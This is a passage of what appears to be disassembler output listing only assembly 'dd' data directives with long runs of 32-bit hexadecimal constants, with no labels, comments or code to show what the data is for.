		dd 334F180h, 0C161D5F2h, 3B98B956h, 318D82Eh, 16615F97h
		dd 36E00096h, 63141EEBh, 0BF06D046h, 0D6E83725h, 0EFB1DC9h
		dd 49FD411Ah, 0E8545E0Bh, 0BB311C87h, 1EED6981h, 760863E8h
		dd 72540BCFh, 5A871270h, 48E00643h, 50BB5D24h, 0A16FE440h
		dd 14ED3ABDh, 53D92280h, 0F4B5761h, 0B223E702h,	44B86AF7h
		dd 0F4981FACh, 4A6D0374h, 79B965A0h, 0F8BAC984h, 8988D8EBh
		dd 59C00070h, 7F154F9Fh, 171E228Bh, 49B6BAC5h, 39FAB2h
		dd 9B410691h, 7D75A373h, 8F31D23Ah, 4EBE45h, 60BFB67Ah
		dd 915300A6h, 5B270DA0h, 60A0B861h, 0CC0039F3h,	92A40776h
		dd 16789B3h, 0F8802ACFh, 0F02E7379h, 0FA20D0A9h, 0B87B125Ch
		dd 602840ADh, 821C0D6Bh, 8A90F51Fh, 82A0E80h, 99B4D03Dh
		dd 0F94D0184h, 40C68C94h, 4EF8A408h, 0BB8DEA06h, 18CE0Dh
		dd 0B4D1EC88h, 42B8A003h, 0D5479A00h, 4E7C8350h, 20AE079Bh
		dd 295C4055h, 86198880h, 973004A0h, 0DF859C7h, 21DB0AB7h
		dd 80A4DAEBh, 6F492985h, 0E5099A52h, 98FBD0CBh,	112D16D0h
		dd 12C86135h, 42745C6h,	92251550h, 731214A8h, 3F0054B8h
		dd 0F3A0D3CBh, 793A8948h, 12F20388h, 9819ED9Bh,	186F153Eh
		dd 69C3B9D1h, 0FBF06BF3h, 493C5550h, 0BA0CAC91h, 0BD7138h
		dd 0F59CC884h, 0EAECE0F6h, 612F9000h, 8C802823h, 8E68031Bh
		dd 0B1DC2AC2h, 0B870B11Eh, 0AC943822h, 0CC154A00h, 4FEE3805h
		dd 0A8D65400h, 470B6D95h, 39CB60B8h, 0E840F8ABh, 89A960Fh
		dd 0BA71E07Dh, 91BBD370h, 0AFD880D8h, 4152616Ah, 51215800h
		dd 0AE813D6h, 17074C54h, 5D001B3Dh, 0C7BF2260h,	8C012A24h
		dd 25A7B2B4h, 9CE086C4h, 12730027h, 0A3305EB6h,	5502D1E7h
		dd 0F5290E76h, 9210C1C9h, 88806C20h, 0E824C002h, 88240ECCh
		dd 5CC07C47h, 2792A18h,	0EA8113F0h, 684012B8h, 7235A5FFh
		dd 0A4808845h, 0A3C9B1h, 25B49762h, 4D15E708h, 360058B1h
		dd 0CCEC86C6h, 40010179h, 76396DF4h, 0CAC448B8h, 8B2BDE1Fh
		dd 19FC1180h, 14BB136h,	84E07C0h, 30063CA5h, 6518E142h
		dd 4059DE4Dh, 0E77D00BAh, 2A275D8Dh, 9648AE91h,	0D6620950h
		dd 0F23401EDh, 0D3BA51h, 66382C69h, 0A7E80308h,	0F55D7A01h
		dd 0DB34626Bh, 997DB022h, 6D6A0308h, 14ED0A22h,	0F08058FAh
		dd 0D4CC047h, 523E680Ah, 920288BCh, 8834F71Fh, 0D21124E0h
		dd 383F2D0Eh, 0C2C62300h, 2A0071A8h, 649785BFh,	24D0225Dh
		dd 6090CDFCh, 0B2D63528h, 0C1D5E888h, 0BB36C149h, 0E04AE438h
		dd 7FB60607h, 5BA3EA9Ch, 0B91A800Bh, 0F8C4A39Ah, 30D0C017h
		dd 0ED10B424h, 40001086h, 9980F3F8h, 0BC52DBDh,	0E8B02CD0h
		dd 0EE094490h, 0C78D8500h, 89D9515Ah, 844F0047h, 30A79C0Bh
		dd 0C4CB959Bh, 93881059h, 0ECB9D3C5h, 0E0860049h, 0A9FD97F1h
		dd 940924A3h, 0AA60406Ch, 1700EB8Eh, 90D0144Eh,	3C4D98B2h
		dd 8A0259F3h, 473019A6h, 10DED441h, 0B0C3A0h, 60620A8Eh
		dd 275429DDh, 6BB58004h, 38C8E8D9h, 0BF1B031Ch,	2E91FC30h
		dd 1574FDC0h, 85D0F8C7h, 85027F7h, 13FBC77Ch, 20BAB2AEh
		dd 9887AD2Ch, 94D54Ch, 0B7F9D26Ch, 733958h, 5D759B71h
		dd 8E61190Fh, 0EC95960h, 394272Fh, 0A289CA6Bh, 34F0E638h
		dd 0D8A8FFDAh, 0F8009718h, 622AC6C2h, 0F66C06F5h, 0CCD7EE5Ah
		dd 0DF09B7B1h, 0BAA95500h, 5A9BF1B2h, 0A353B05h, 20B92D02h
		dd 0D044ADC9h, 24B5B82Eh, 34A26E0Ah, 9545700h, 9D0FBD7h
		dd 180AC014h, 40FEAC84h, 0C355A280h, 451F0BADh,	98922D5Ah
		dd 0EB4B0C8Fh, 3CE2D010h, 0DFC7D00h, 17AAC89Ah,	3889078h
		dd 3FF28AD8h
		dd 3188B6B2h, 0F40339CCh, 0BBAC719h, 0FD2EB1Eh,	5EC98D21h
		dd 0C5641400h, 18C0D6B6h, 1EF085A3h, 9A1D08F3h,	8800B238h
		dd 4EDBDA51h, 419CE7D9h, 0F83BC71Dh, 3188A015h,	670012F4h
		dd 8646CF4Ah, 3F72C1Eh,	64113E79h, 6119AA99h, 0FE41E2D9h
		dd 0E37EAF8h, 53976D79h, 0BB49D500h, 0BD00CC01h, 2116939Eh
		dd 0F6CD31h, 5FAAF387h,	627499C7h, 0DFCEFD16h, 59B0CF0Ch
		dd 6EEB2049h, 0BE1FECF0h, 0C7C00424h, 69C0E86Dh, 0FAEB30A0h
		dd 9D6C1021h, 0DE306201h, 41E487ECh, 440CE9BBh,	0B0F09509h
		dd 0D76F6701h, 3F211119h, 0F8E72C70h, 60617EB3h, 268279B7h
		dd 41C0468Fh, 7E0963D0h, 0DADC0073h, 0B040BA1Ch, 0D93093EDh
		dd 0E378F985h, 956E00B6h, 58744EF0h, 41C4198Fh,	2EC080EEh
		dd 9E363Ch, 213289D8h, 9385D29Bh, 0B952617Ah, 0F80D18D4h
		dd 30CC2CD1h, 48618CD9h, 5500A03Bh, 5D532392h, 8809658Dh
		dd 41C0A57Ch, 0C329A99Fh, 0E3BB009Dh, 758922B3h, 0DB000DDFh
		dd 40850B0Ch, 5B927Ah, 38242509h, 39AE1C43h, 9707670Ah
		dd 940144A6h, 0B755D316h, 6B9FCh, 29D403ADh, 0C6DC0C2Fh
		dd 97B6760Dh, 8B3031B8h, 3C1F0581h, 4CB72A9h, 4044EEC0h
		dd 3FB069E7h, 0ACA250D7h, 6052891Eh, 0B8004E38h, 0C78AD521h
		dd 15DBBE7h, 1D6D5018h,	50D1DA1Fh, 61BC1580h, 0C2813100h
		dd 0E08D5C0Ch, 371E8846h, 0E429D368h, 82B0B708h, 33ED8D45h
		dd 0A77C23h, 6AD41B19h,	0FC1E0EBh, 30749AE0h, 45E4370Fh
		dd 541C87E6h, 0A8D975E1h, 30C05982h, 0EB6062C4h, 4700BFF0h
		dd 0E0A76DD7h, 264262Eh, 0BC2BF38Eh, 0E0A056EBh, 1CAE38FAh
		dd 5B599600h, 0E7D5FDC3h, 51370041h, 8EEBE5F6h,	8F30986Ch
		dd 0C105A11Dh, 0FF280065h, 3136633Eh, 0EA009A4Eh, 1756AD8Fh
		dd 3E0DDB2Ch, 0B68045ACh, 0AEE1C421h, 0B078BBFCh, 64444892h
		dd 0A57974h, 75E91008h,	0F4C72E4Dh, 13262804h, 8480AF22h
		dd 2C61274Bh, 1A112410h, 4884B96Fh, 163242B6h, 0EE5B6107h
		dd 7300C422h, 6DDF1E2Ch, 280001B5h, 7E33CFA1h, 0C4960E4h
		dd 0D9242A93h, 0F801B241h, 569B5807h, 542279C8h, 0D7F35D00h
		dd 6E443391h, 2008C70h,	833248A8h, 10AB763Ch, 246DFFAEh
		dd 71011A38h, 0D0C41E81h, 56795981h, 428EA863h,	3220B1F8h
		dd 351EFB42h, 829D523h,	21814400h, 0CA88428Fh, 4C146160h
		dd 0AF038C50h, 0F50DE0BAh, 3682DC0h, 5653F200h,	0F3FA6ADh
		dd 249999h, 253B6FDFh, 0B400E26Ch, 7FE8C41Ch, 0F88B1E0Ch
		dd 0D9CE1807h, 0EE6B79CFh, 5F27F700h, 53646115h, 0B1F487h
		dd 0F0C48809h, 0D063A1Ah, 1E30B000h, 4C318D72h,	0FF090164h
		dd 0AF54D0C8h, 0AE33E825h, 6191DA3Fh, 1B2BE170h, 0C2C8A031h
		dd 33323D1Ah, 2C58F9h, 9DF75680h, 4073795Bh, 1983D930h
		dd 0E95A77h, 34050190h,	3513841h, 29241CFAh, 3601B3C4h
		dd 12B6BBB5h, 1536FD8h,	3B7E5985h, 9D522419h, 6A00C4C0h
		dd 0B350880Fh, 8C45548Fh, 0B62D003Ah, 0CE3ED057h, 8E26DC23h
		dd 0C747CCE5h, 0A0D85D50h, 3C4C488Dh, 35FF8F0Eh, 0A55E7E80h
		dd 0F8C30FA3h, 0C031DDA4h, 93FAFE3h, 0BC9711A9h, 0F7A63090h
		dd 0A1923A00h, 2582DC80h, 0BE1A045Dh, 0C2CC9304h, 129E59Ch
		dd 60EB4FD0h, 1E951180h, 3B1D9709h, 7C51C40Bh, 0ED040069h
		dd 30C83174h, 2580242Eh, 8954DA40h, 0AA17BE98h,	0D300564Eh
		dd 0B0E1F17Eh, 0B6FD0AEEh, 288B7C8h, 74BC9D92h,	32308741h
		dd 798D0940h, 0A338912Fh, 0D8E9F511h, 7F26F44Ch, 4300EA18h
		dd 846D8846h, 10DA48CCh, 0DE05A209h, 8049E405h,	442D12F1h
		dd 4463F7h, 0C4A8CD15h,	9A3A57h, 0E6AD8167h, 8ED9430Dh
		dd 401388h, 83AAED38h, 45A685BEh, 1667F15Ch, 0A808BAC8h
		dd 0A8D78062h, 0B6E90ECDh, 132BC4Ch, 7079D922h,	0CAE880BEh
		dd 0D84B50D0h, 0B7B50BA1h, 44986AEDh, 0A73F32EBh, 56E285BAh
		dd 0EBC0CBDDh, 0B44F8D0h, 917DA327h, 7114B000h,	48C26198h
		dd 815E6979h, 64ECEFD0h, 0A41AD910h, 0AFDF0800h, 8C1E611Fh
		dd 887C24D0h, 0C4430074h, 0FDEB530Dh, 981A31C0h, 73EC277h
		dd 7A7F892Eh, 34253074h, 0E81DA34Ah, 4F08C94Eh,	3A9A8A5Ah
		dd 277F80A0h, 28BB8569h, 0DD5F5C04h, 0C0CD4170h, 52D09A81h
		dd 0C8FF2AC3h, 4200E19Fh, 961992CBh, 0F01A47h, 3B6A729Ch
		dd 0F24E67B3h, 0C9317B14h, 282526E0h, 0D51C013Eh, 71ED0E82h
		dd 24303420h, 110CC192h, 8A210438h, 0BCC3648Fh,	0C421C40Bh
		dd 90D912A2h, 0EF6EB4h,	93EE9D2Bh, 785DC4BFh, 0ED306C00h
		dd 0CAB3FA52h, 9836B061h, 74545B8h, 0E37A729Ch,	0C09DC485h
		dd 91673DFCh, 0AF5C716h, 0C1204D01h, 3072D893h,	0E95F4700h
		dd 0AB6D4D11h, 0C9069AB8h, 575AA292h, 7C1511A1h, 958BFh
		dd 70541859h, 351B0C2h,	53D41F87h, 49B0A209h, 0C80312A0h
		dd 2407B656h, 0EE99E968h, 17044470h, 309DD2BAh,	30154890h
		dd 6601B37Eh, 3EBD24E0h, 16F0D4FCh, 1FFE249Ah, 263C01D0h
		dd 0FD3F1B31h, 97A43051h, 300E8B1h, 20A98265h, 951A0043h
		dd 0BF76642Fh, 610ADD88h, 0EFCF3656h, 3F93FE00h, 29E516B0h
		dd 0B87C52h, 0AB2ED18Ah, 0C80093C3h, 0A084A569h, 484C5771h
		dd 0C9146485h, 574AC11h, 0DA27B50h, 0FE8C49E7h,	27532080h
		dd 0E498932Dh, 0BCD86E26h, 0DE134940h, 238B008Fh, 6457C9D4h
		dd 37908498h, 9E80D513h, 0F9D1EC01h, 0EF60ABC0h, 521F1286h
		dd 44C30B6h, 840008C4h,	0A456068Ch, 7E97CDAh, 0FD03A1CAh
		dd 0E580624Ah, 0D4CD490h, 4E71D000h, 22B7C1D7h,	548E3A49h
		dd 81F0989Eh, 519F7247h, 0A07C3407h, 0FDFAC402h, 4060D1BDh
		dd 7A293D4h, 0EC8172B8h, 7C8280B6h, 0E39837F0h,	0B401EC99h
		dd 48CFA580h, 8410E2D2h, 24444470h, 0A008B4DAh,	0A762FE00h
		dd 5207A290h, 0D14900B3h, 0D7EFD0E9h, 0D83A9567h, 14C84CCCh
		dd 62A06F5Eh, 98F47D80h, 55F5F0h, 6757362Ah, 422132A6h
		dd 0CCADB900h, 15273570h, 0F58B180Ah, 5682C04Eh, 0E9ACE050h
		dd 26C19E05h, 99C0858Ah, 50D75388h, 4C2C79h, 9640B26Bh
		dd 0E54A1AC5h, 0C17EF900h, 0C056F499h, 0C42B5313h, 0FF2DE900h
		dd 0F85E3A54h, 0DA5CDC00h, 244932CBh, 7D5638ACh, 0B296C064h
		dd 85A50088h, 0A6B406BAh, 297C19h, 0B354E6D6h, 210A9383h
		dd 62981160h, 64CC1Eh, 447BDF79h, 0F5850C74h, 1F22DD01h
		dd 0C361343Fh, 511E7472h, 70238298h, 4C411CEDh,	64EFD83Ch
		dd 41457812h, 0EC824800h, 267B1C2h, 0FF888C7Ah,	0A8523B1Eh
		dd 0C204726h, 0D664C702h, 30CC64Bh, 5AAEA319h, 26CB9D52h
		dd 3C2359B8h, 74BE135Ch, 3F4C673Ch, 85298298h, 0A0329A5Ah
		dd 1534F990h, 84F40Dh, 80813167h, 22EF89F1h, 0C273FA2Ch
		dd 0CC8B0C02h, 945162h,	299BC428h, 0A2009A6Ch, 0D9872C33h
		dd 261BED1h, 18968D0Ah,	8CC09D75h, 0C1D356A3h, 42C4F401h
		dd 4C33B5A0h, 38B0EB1Ch, 6185F00h, 128BA196h, 4AD0C400h
		dd 47B9F7C9h, 3F240995h, 0C6899A3h, 91005F7Dh, 6110FEC8h
		dd 1ECADEE6h, 0E2FCCCh,	0D1C3D880h, 6C90C865h, 0E82A8A44h
		dd 81B901F1h, 0A8EAE33Ch, 0CC81CE1Dh, 82BD7C22h, 0E0D74491h
		dd 50CCE0C4h, 0DA760717h, 826ACFEFh, 5CEC1D91h,	0F43AE490h
		dd 0BBAD18B4h, 0A008A341h, 0CF0778h, 0ACC37E87h, 0A6728C10h
		dd 0A4A4E5FCh, 0BC25D100h, 0DC30CAA9h, 6A7494h,	6E4DA1A3h
		dd 2AF41374h, 0F70E09EEh
		dd 51E5FBC5h, 67958200h, 0BE351E77h, 0C77D8AF0h, 128E8B06h
		dd 81DDD9h, 7B2618CBh, 8A1C3D50h, 1A5A0B00h, 74990538h
		dd 241B48D1h, 3077F000h, 0CA250E9Ah, 0EC2A4909h, 2200FF03h
		dd 20D15C67h, 0A364AC06h, 0A681590Eh, 16CF0020h, 0EB01CE2Ah
		dd 0E43C2E5Ch, 2D8B00FEh, 93797E35h, 8FB01877h,	956E311Ch
		dd 874BEB00h, 4DC834DFh, 2C72F15Ch, 9665F00Eh, 0B361FBE7h
		dd 0A287ADAFh, 0E8604982h, 5F09CA11h, 6EB9B8h, 4EE0CC84h
		dd 0E38C028Ah, 658DAD9Ah, 5B032079h, 0CFBA8209h, 0B498E1C5h
		dd 0B34C001Dh, 1BAD535Bh, 6702B537h, 179F764Bh,	1660527Ch
		dd 4D44D8h, 0D158A1BEh,	0EA06221Ch, 159433FEh, 0FA460448h
		dd 81B66AD4h, 29ECD304h, 59150060h, 3AA28DC5h, 0E48F1F6Ch
		dd 79CC0BAh, 7165EEC4h,	0A8B6D524h, 38302660h, 8E44000Ch
		dd 0C4F78934h, 0BE01407Eh, 0D4B3991Ch, 0B9D31198h, 64D45EAEh
		dd 0A9B4699Eh, 8A0964A1h, 9480CA6Dh, 58AC1BCCh,	0BB80648h
		dd 184C56D9h, 0C9429Ch,	0DDDC2E85h, 416A8F9Ch, 441DA300h
		dd 0D8C1D164h, 168915ACh, 0C41F5008h, 969FBE3Dh, 40385FA7h
		dd 4ECC8DA6h, 97FE53Ah,	0A1C99915h, 0E10A738Ch,	0A39B6A0Eh
		dd 69A44D04h, 0B483ECC0h, 789D02C1h, 0CF457FB7h, 87EC8840h
		dd 0A2B044B1h, 0B8BD2A1Eh, 8A7B7590h, 0A792C66h, 54154B00h
		dd 59270C0Fh, 8E200069h, 0DF6C1DB0h, 122C4681h,	0EF124C24h
		dd 311F3C20h, 0F9C90532h, 0C0076DF6h, 1BDE51E8h, 9ECF3A22h
		dd 0BDBF404Ch, 0B12463EDh, 0AB00014Eh, 4C2D40C4h, 0B0BA0086h
		dd 9CBEF630h, 0FC91C561h, 2A805A90h, 0ED55F7BFh, 0CB3E7715h
		dd 641E06CCh, 931B5ADh,	0E71DA062h, 860B40C4h, 8050E67Ah
		dd 0F3FCDA15h, 9E3C028Ah, 0D9F09556h, 657CA472h, 80015200h
		dd 0E4B42785h, 1A2B1FD5h, 4074648Eh, 7FB0C1C7h,	44E420Ch
		dd 991680FFh, 0A28B80A0h, 7CBE1E8Eh, 336B372Eh,	0A0B50Bh
		dd 0AECC8CE3h, 70DA1392h, 9ED4C81Bh, 0B9BF6111h, 0F8227448h
		dd 52C92C02h, 631BC386h, 0ED1E8BDFh, 2095C88h, 0EE8F21F4h
		dd 40D27C31h, 0AE355F00h, 22F0324Fh, 0E7CB1809h, 58BD5164h
		dd 4307A1F2h, 7291EED3h, 67CDFCD0h, 16310026h, 9B6EA34Dh
		dd 0C4F0F6FEh, 76293B01h, 301E11DDh, 9E043C41h,	7377DFF8h
		dd 58A35CA9h, 6FC8A24h,	1094BB8Fh, 8D518706h, 121873C9h
		dd 4E0FD6A9h, 356034B4h, 7F7B64E6h, 0D421704Fh,	0E2E40F68h
		dd 3BF80082h, 17F0CE33h, 9C183053h, 9358495Eh, 0C9780752h
		dd 82948AA8h, 4C80D976h, 5E4BA32Fh, 0C9173B00h,	0C4E67E53h
		dd 616A164Ch, 8B68D09Eh, 0F65C28A8h, 0E71000C0h, 0DA081AFCh
		dd 0A8EB76A5h, 0C74494h, 0BF065589h, 8FC2DF46h,	0CA9DC8C2h
		dd 0C4D976h, 0DE260594h, 0C90060D0h, 2F01AEE0h,	4C4AF553h
		dd 34589452h, 8348305Bh, 9F000450h, 1C75DCBFh, 9118E4D5h
		dd 0AE308C20h, 4900B956h, 0A27516E6h, 16352B0h,	0C39F785Ah
		dd 21870873h, 59F0600Ch, 61FEFA09h, 0D9E411C4h,	1100DC39h
		dd 0D090421Ah, 0A113B7F0h, 4AA27A6h, 0C26C07D3h, 5CD997E4h
		dd 0F1B90038h, 7ECF5328h, 95810311h, 930FA91Ch,	0C77BA804h
		dd 0CC88BA61h, 26EA0731h, 0CF8B8E2Ah, 11A04941h, 2103CF97h
		dd 0A4E6A203h, 0C185980Ch, 34E9005Dh, 5233FA88h, 0EB2C1E22h
		dd 8940E865h, 0B0A674D5h, 0E0EC0177h, 0AE1B98B1h, 0F4A880AFh
		dd 17B69CCh, 24F300ABh,	49B06F67h, 64015FB8h, 61C8AA09h
		dd 0C8209B85h, 58AEF4A5h, 36225C4Bh, 7F4C7C50h,	5607517Eh
		dd 2603D98h, 0A8A9B2C3h, 8F20B38h, 69E58E55h, 0D6009C96h
		dd 0E21E75C8h, 0F0240083h, 0C468852Ch, 0A10AB4DBh, 1808A25Dh
		dd 1197170Bh, 0D9DC6008h, 0C07F0074h, 9FA6F521h, 582465E8h
		dd 690B6E02h, 0E0240023h, 4F5969Ch, 0C0ADAC8Ah,	737480B1h
		dd 10BCB64Dh, 0E0F49940h, 945E1EE8h, 0EA678058h, 2B9E8815h
		dd 0AE61C004h, 24C2B347h, 3C442BBEh, 77BB6A0Eh,	888B206Dh
		dd 9DE745Bh, 0A985A2BCh, 4665EC04h, 0C961EEh, 8BDD16CAh
		dd 2FA704D1h, 0D048B42Eh, 41C0C424h, 276CE1E6h,	2057A2h
		dd 17FCAEFFh, 0A0B0BE75h, 0E50F9801h, 0D886EDB6h, 9B00D422h
		dd 9FF8BC36h, 8F397A72h, 80804840h, 0B6D181A8h,	9D2C00D8h
		dd 0E973F69Eh, 0B00931Dh, 5E7ED1Bh, 0C4B85Dh, 22B2E3E1h
		dd 0B1A25304h, 610F3412h, 6747001Dh, 0CC709882h, 0B8CE8A2Eh
		dd 2448910Ah, 3EED6038h, 9D3F325Fh, 95B80094h, 76E02EBAh
		dd 906D7296h, 0BE7B02B0h, 0B97C10E3h, 0C0930923h, 68F631h
		dd 0CE38CBE4h, 0A0F4BF11h, 0C0302C5Eh, 7CDD079Bh, 0CE5B860h
		dd 287C8D68h, 8C9497E9h, 0E2DC908Ah, 5C67A401h,	6CFC7F66h
		dd 7519FA51h, 40A0962Ah, 5D1DCB21h, 102E500h, 41EBA046h
		dd 2057045h, 7D12C7F1h,	68C43B1Bh, 0CBC57402h, 0A711999Fh
		dd 85107760h, 78E096B4h, 0EB451515h, 0E300E068h, 7AD49240h
		dd 0D7009E54h, 696AF0BAh, 1E9965CDh, 8BCA1FA7h,	51042CDAh
		dd 80A0A81Ch, 3BAD4FE3h, 9A2179Fh, 0B1A088FCh, 0E0F18Ah
		dd 8DF7DCE1h, 1B2E04A8h, 63631006h, 72DDD824h, 0E4273C0Ah
		dd 0CC391960h, 1207D835h, 0C44B838Bh, 30212080h, 0D4422C98h
		dd 8D32088Ch, 0E27810ADh, 0B15C01CBh, 8EBE2DA8h, 8E446C15h
		dd 8789E028h, 3A54F49Fh, 0D801642Ch, 7426D26h, 402A7Ch
		dd 2B93A48Eh, 78E700E1h, 413D4549h, 9F03EBACh, 0F9AE40EFh
		dd 0D280224Fh, 18B9C2Dh, 5B049884h, 947085C9h, 481D1E1Eh
		dd 8015DDF6h, 241316F3h, 438887DAh, 0CAF11F07h,	3CFF4281h
		dd 3760DE89h, 0B64A93F4h, 915B088h, 89ED6110h, 254C6FF0h
		dd 97E30900h, 8880282Ah, 11158B00h, 3E3B6AF4h, 141F2407h
		dd 0D8AA9Ah, 0A5531398h, 33116BFFh, 3823C200h, 0B22C5E8h
		dd 31690F81h, 480BB9E4h, 7AAC1980h, 6309A5FAh, 0C8E656A3h
		dd 5DCA93Ch, 0A291ED90h, 0D9E42450h, 9AB430B8h,	0D80DCB6h
		dd 0C65A3724h, 80474CBBh, 2086F102h, 7080DAEAh,	0D2F4DCC8h
		dd 13A69C06h, 0B28C64Dh, 0CCB4D8DEh, 0C000864h,	0B9ED5B15h
		dd 77DF7ECh, 43AC67CBh,	0A3F6A179h, 84286C53h, 7855B0C3h
		dd 6E8F809Eh, 60BDAE2Bh, 0FA1939h, 0C1E0D0F6h, 27B5D03h
		dd 61423F26h, 6880BFB7h, 4AC4F509h, 41876B18h, 2CAC1CE0h
		dd 11C4370Dh, 0E18800B4h, 56607DDBh, 3F8FF0A9h,	0B84F5446h
		dd 0A8444A32h, 0C4C4496Ch, 0A87C8401h, 3C300AD4h, 0F6522C71h
		dd 0E5FF09ACh, 3C836810h, 0AF95D12h, 2F7A05AFh,	0E78830DDh
		dd 4000854Ah, 9A1B5893h, 60CE515Dh, 789F5074h, 0C4022A45h
		dd 405B1CF9h, 3890C16Fh, 82892110h, 0DAC44101h,	9923AC83h
		dd 0BE764460h, 65E5409Ch, 4C06EEC5h, 434D5BF5h,	3B4B96Eh
		dd 0CEB30C53h, 6F274A98h, 0DFDC4250h, 220BB2Fh,	0C04EE080h
		dd 91979FD8h, 0CE0A00C4h, 0C685C9AAh, 38E6D201h, 34E5EE32h
		dd 94488FDDh, 9F2D00C9h, 9E7C4E68h, 0EA00C417h,	0C3E23A2Eh
		dd 77CA1C9Ch, 0F298A0D0h, 0C4A14C03h, 0BC204C41h, 36E28B46h
		dd 0C90050F9h, 87536181h, 1FB0F6C8h, 1252CE06h,	35F88866h
		dd 2C73B307h, 6B14123Fh, 0C48784ACh, 0AE80B00Ah, 2B1FBB60h
		dd 1B80B357h, 5FB67F20h, 6FBD00CDh, 73318D53h, 370F266Eh
		dd 3B06838h, 98B68E67h,	0BC53729Ah, 0CC814000h,	0BB00AB4Ch
		dd 7155C17Eh, 277F8648h, 0E8104B59h, 0F0F9147h,	40D0A81Ch
		dd 30748B20h, 21BB05AAh
		dd 8450888Fh, 124A2CCh,	2F324CEDh, 2863F4A9h, 1D2D8F01h
		dd 0D04BCDB6h, 3A07EAB1h, 6F4D22A7h, 85EFA260h,	57A327CCh
		dd 40AECC90h, 0E13AB077h, 793D0002h, 94723E96h,	0A7225h
		dd 93BDF326h, 9913EFBFh, 9481689Eh, 64AB557Ch, 1CDE8BE8h
		dd 3DD4A1h, 5D2EBB7Fh, 821DC27h, 9635009Ah, 6EC79D94h
		dd 1F7CFD07h, 0CE34CB38h, 4992ACC0h, 0B97E0CFAh, 0BA3644CDh
		dd 0A10DE600h, 5BD3C731h, 2FDA00BFh, 0BC898167h, 40B10637h
		dd 12776880h, 334461h, 287D310Dh, 3DFD3B5Ah, 4572E57Eh
		dd 0CE07217Ch, 85A33C8Fh, 7CFACFD0h, 39510105h,	48BA17B5h
		dd 47C2899h, 0F13730B0h, 6C001CA2h, 0B1F9A838h,	410F5CFEh
		dd 20BB1EE0h, 0C5F22F7Bh, 20104BB4h, 9DA6485Ch,	3D4F5B00h
		dd 0B5191418h, 562BFB1Eh, 947001DCh, 0F04C8E52h, 19D4E138h
		dd 593AC108h, 0F6C0880Ah, 2C260F9Dh, 0A4605E4Ch, 2D17ABCAh
		dd 0EE615808h, 7D9D8060h, 1BF35E53h, 0D8165D12h, 819088h
		dd 30FBA1DAh, 3B8590B7h, 69BAD31Eh, 0DD0302B8h,	401F9E6Ch
		dd 8AFB0E0Ch, 85EC8BC0h, 0BC98647Dh, 2CF844h, 72A051CEh
		dd 6794975Bh, 0B6B37C00h, 5360036Dh, 340E01F7h,	0A3E72CF8h
		dd 351C4150h, 0D8302B65h, 146748Ah, 0FDE1B3D5h,	31F4CF6Fh
		dd 70C0DA24h, 649E937Ch, 0AA37E04Eh, 0B481EDh, 5B3CC952h
		dd 543BA853h, 5C4A5D01h, 85871F35h, 99C161ECh, 4A30BECh
		dd 0E8C76C18h, 4C270D4Ah, 4F9665A0h, 0CAF0055h,	0AE86666Fh
		dd 0D014716h, 372767F3h, 0BC64F410h, 0CEEDE989h, 7B80E868h
		dd 0AB63D78Ch, 6C5AE800h, 897F3743h, 142E1E24h,	571681BFh
		dd 0A7A9B061h, 444491h,	31C5D343h, 1B419FB3h, 0E0FE5B00h
		dd 6734E690h, 95B13DA4h, 0CA264800h, 5711AF5Ah,	0A8DAF511h
		dd 904A7A03h, 0E7972334h, 90640797h, 0AE730AB7h, 0CC322502h
		dd 44EB274Dh, 0CD630060h, 4A294E43h, 7B0F2FE8h,	0A0C476C2h
		dd 46F7F81Dh, 4038093Ch, 9004EA2Ah, 0E03CC289h,	0AC9C1A43h
		dd 48BD8068h, 659D33h, 0F1EEB8Eh, 0C11B2706h, 5441794Bh
		dd 0F34C17D1h, 9446F0h,	32318CCh, 0FECD32F5h, 8A1FA8A0h
		dd 0AE00BF79h, 18CAD431h, 0F4D8C42Ch, 76222603h, 4211D8h
		dd 0AC096ED4h, 2648E8D5h, 718F91Ah, 406C3F9Ch, 56AE8AADh
		dd 310B94B8h, 0E10EB7A6h, 23DAC628h, 0A2C59474h, 0B6007E28h
		dd 7864E707h, 4CA34E16h, 72808808h, 0ED8D977Bh,	0AE0E18B1h
		dd 0F01905F3h, 384BF8C0h, 9A662637h, 0F1CE40F0h, 6900FA9Dh
		dd 0D75094E1h, 2C6DBC73h, 0D455DFh, 1311534Ch, 3802F8C4h
		dd 8DBF890Ah, 0D92089E4h, 12D0A670h, 846F0094h,	850DF616h
		dd 0E6E3CD0Ah, 1A019C6Fh, 0EB567271h, 500EC2Dh,	6379B122h
		dd 0E03A355Fh, 8AF94083h, 4BB08404h, 37108445h,	0D0301E42h
		dd 72673C80h, 39FEFCFBh, 6C4410B0h, 9E30948Fh, 64480E9h
		dd 27733A8Dh, 85213000h, 7654C4E5h, 519F2CF1h, 508A0C8Ch
		dd 0BC24A650h, 0B511C84Ah, 6B7E6407h, 0E09DE0B7h, 793D5B88h
		dd 0EE4917DEh, 0A409E020h, 80DC00C8h, 0F2130296h, 7300F1FCh
		dd 3856A5A3h, 4E2C1DFh,	762C8EEFh, 20E88D99h, 5A008071h
		dd 7EF6FA3Eh, 0E5B71EE4h, 7434E4h, 787D8E91h, 0BFFC212Bh
		dd 0F31BE20Eh, 0C0D560A4h, 5C7673E4h, 4422E405h, 150470B0h
		dd 0EEC07471h, 8F5CB4h,	0FBA0FC08h, 401E5647h, 0A11F2D07h
		dd 0AF6A3AEEh, 8026917h, 0E10C9467h, 7E103004h,	840008C3h
		dd 0F7A91874h, 78CBF3E4h, 99F8A02Ah, 87F00436h,	80448F31h
		dd 8D4D5C04h, 8074785Ch, 6F08E7C4h, 0EBBD26ABh,	609547D4h
		dd 0D95C2453h, 0B8B1307Dh, 42770B80h, 0B2109D4h, 605C6E54h
		dd 69719080h, 8F0BED98h, 849F85A2h, 3120D2ACh, 41003091h
		dd 0AA9C82E2h, 9099267h, 0DA1C9832h, 3BEEC47Ah,	0D2AFD000h
		dd 53D5A695h, 0D4400BA0h, 5C6475D7h, 29D9E000h,	556D5851h
		dd 9BAE011Dh, 9949D428h, 85ED408Ah, 0B2EC2CAh, 0EE00449Eh
		dd 4D5DDD73h, 5E670E98h, 0F1C5B90Dh, 1DD4F4DAh,	279D6900h
		dd 0EAA1D5E7h, 686A2F7Ch, 7A004350h, 0C414E0E2h, 1437D2FAh
		dd 94EE77D4h, 1815880h,	7A002EF4h, 0A91CE191h, 2611C328h
		dd 40CCD888h, 0EBC4184Dh, 178CA700h, 3B3A3E82h,	15D1005Ah
		dd 3507394Eh, 1A7B307Fh, 0D464DA17h, 90EFF430h,	1D17757h
		dd 0C27A2032h, 318D3E92h, 804468C5h, 23D3180Ch,	94A61Fh
